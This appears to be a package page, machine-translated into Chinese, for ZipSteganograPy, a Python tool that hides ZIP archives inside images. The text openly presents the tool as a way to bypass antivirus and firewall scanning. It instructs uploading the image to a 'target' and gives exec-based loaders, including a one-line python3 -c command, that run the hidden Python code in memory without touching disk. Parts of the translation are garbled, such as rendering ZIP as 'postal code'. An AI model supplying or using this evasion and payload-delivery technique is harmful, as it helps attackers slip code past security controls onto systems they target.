ZipSteganograPy
1.0.0
該工具隱藏了圖像中的郵政編碼。
該工具對於繞過防病毒軟件和防火牆掃描很有用。
此包需要:
pip install ZipSteganograPy # Hide a ZIP archive in an image:
python3 ZipSteganograPy.py -z archive.zip -o stegano -i image.png
python3 ZipSteganograPy.pyz -z archive.zip -o stegano -i image.jpg
# Create a ZIP archive (with 3 text files) and hide it in an image:
python3 -m ZipSteganograPy -f file1.txt file2.txt file3.txt -i image.jpg
ZipSteganograPy -f file1.txt file2.txt file3.txt -i image.png
# Easily extract the hidden archive using python3 and its standard library:
python3 -m zipfile -l stegano.png # list files
python3 -m zipfile -e stegano.jpg output/ # extract
# Easily extract the hidden archive using unzip package:
unzip stegano.jpg -l # list files
unzip stegano.jpg -d output/ # extract此示例從圖像加載Python代碼並執行它而無需在磁盤上寫入。
此方法繞過:
from zipfile import ZipFile
with ZipFile ( "stegano.png" , "r" ) as f :
for filename in f . namelist ():
exec ( f . read ( filename ). decode ())在您的計算機上:
ZipSteganograPy -f hello.py -i ZipSteganograPy_small.png
# ZipSteganograPy Copyright (C) 2022 Maurice Lambert
# This program comes with ABSOLUTELY NO WARRANTY.
# This is free software, and you are welcome to redistribute it
# under certain conditions.
# New image 'stegano.png' created from 'ZipSteganograPy_small.png' with hidden ZIP archive.將stegano.png文件上傳到目標上(zip文件可能不會由防火牆安排,因為將文件檢測為正確的圖像)。
在目標上(從圖像解開拉鍊並執行python代碼而無需在磁盤上寫入):
from zipfile import ZipFile
with ZipFile ( "stegano.png" , "r" ) as f :
for filename in f . namelist ():
exec ( f . read ( filename ). decode ()) import zipfile ; f = zipfile . ZipFile ( "stegano.png" , "r" );[ exec ( f . read ( filename ). decode ()) for filename in f . namelist ()]python3 -c ' import zipfile;f=zipfile.ZipFile("stegano.png", "r");[exec(f.read(filename).decode()) for filename in f.namelist()] ' 在GPL下獲得許可,版本3。